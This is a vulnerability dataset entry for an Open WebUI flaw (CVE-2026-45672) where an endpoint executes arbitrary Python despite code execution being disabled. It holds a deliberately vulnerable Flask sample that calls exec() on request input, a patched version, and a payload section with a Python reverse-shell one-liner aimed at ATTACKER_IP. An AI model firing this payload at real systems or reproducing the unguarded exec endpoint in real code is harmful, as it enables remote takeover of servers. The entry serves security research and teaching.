VAITP Dataset

← Back to the dataset

CVE-2026-45672

Open WebUI allows arbitrary code execution, bypassing the admin setting.

  • CVSS 8.8
  • CWE-863
  • Authentication, Authorization, and Session Management
  • Remote

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.12, the /api/v1/utils/code/execute endpoint executes arbitrary Python code via Jupyter for any verified user, even when the admin has set ENABLE_CODE_EXECUTION=false. The feature gate is not enforced on the API endpoint — the configuration says "disabled" but code still executes. This vulnerability is fixed in 0.8.12.

CVSS base score
8.8
Published
2026-05-15
OWASP
A01 Broken Access Control
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Authentication, Authorization, and Session Management
Subcategory
Poorly Designed Access Controls
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Open WebUI
Fixed by upgrading
Yes

Solution

Upgrade Open WebUI to version 0.8.12 or later.

Vulnerable code sample

import io
import sys
from functools import wraps
from flask import Flask, request, jsonify, abort

# --- Mocks and Simulation Setup ---

app = Flask(__name__)

# The configuration is set to FALSE, but will be ignored by the vulnerable endpoint.
app.config['ENABLE_CODE_EXECUTION'] = False

def is_verified_user(auth_header):
    # In a real app, this would validate a session. For this example, any non-empty
    # Authorization header is considered a "verified user".
    return auth_header is not None

def require_verified_user(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        # Simulate checking if the user is verified (logged in).
        if not is_verified_user(request.headers.get('Authorization')):
            abort(401) # Unauthorized
        return f(*args, **kwargs)
    return decorated_function

# --- The Vulnerable Endpoint ---

@app.route('/api/v1/utils/code/execute', methods=['POST'])
@require_verified_user
def execute_code():
    """
    This endpoint executes Python code from the request body for any
    verified user, ignoring the global 'ENABLE_CODE_EXECUTION' setting.
    """
    try:
        data = request.get_json()
        code = data.get('code')
    except Exception:
        return jsonify({"error": "Invalid JSON"}), 400

    if not code:
        return jsonify({"error": "No code provided"}), 400

    # VULNERABILITY:
    # The code does NOT check app.config['ENABLE_CODE_EXECUTION'] before
    # proceeding. It directly executes code for any verified user.
    # A fixed version would have an `if` check here to enforce the setting.

    old_stdout = sys.stdout
    redirected_output = io.StringIO()
    sys.stdout = redirected_output

    try:
        # Execute the user-provided, arbitrary code.
        exec(code, {})
    except Exception as e:
        # If the user's code has an error, return the error message.
        sys.stdout = old_stdout
        return jsonify({"error": str(e)}), 500
    finally:
        # Always restore stdout to prevent server state corruption.
        sys.stdout = old_stdout

    # Capture the output from the executed code.
    output = redirected_output.getvalue()

    return jsonify({"result": output})

Patched code sample

import os
from fastapi import Depends, HTTPException, status

# In the actual application, this is loaded from environment variables.
# The vulnerability occurred when this was 'false', but the check was missing.
ENABLE_CODE_EXECUTION = os.getenv("ENABLE_CODE_EXECUTION", "false").lower() == "true"

# Placeholder for user authentication dependency from the original code
def get_verified_user():
    # In a real app, this validates a user's token and returns the user object.
    pass

# Placeholder for the actual backend code execution logic
async def run_code_in_jupyter(code: str):
    # This would interact with a Jupyter kernel to execute the code.
    return {"output": f"Code executed: {code}"}

# This function represents the fixed API endpoint.
# The original vulnerable function was identical but lacked the check.
async def execute_code_endpoint(
    code_to_run: str, user=Depends(get_verified_user)
):
    # FIX: This 'if' block was added to enforce the configuration setting.
    # In the vulnerable version, this check was absent, allowing any
    # verified user to execute code even when the feature was disabled.
    if not ENABLE_CODE_EXECUTION:
        raise HTTPException(
            status_code=status.HTTP_403_FORBIDDEN,
            detail="Code execution is disabled by the administrator.",
        )

    # The original code logic, now only reachable if the feature is enabled.
    result = await run_code_in_jupyter(code_to_run)
    return result

Payload

{
  "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP', 4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
}

Cite this entry

@misc{vaitp:cve202645672,
  title        = {{Open WebUI allows arbitrary code execution, bypassing the admin setting.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-45672},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45672/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::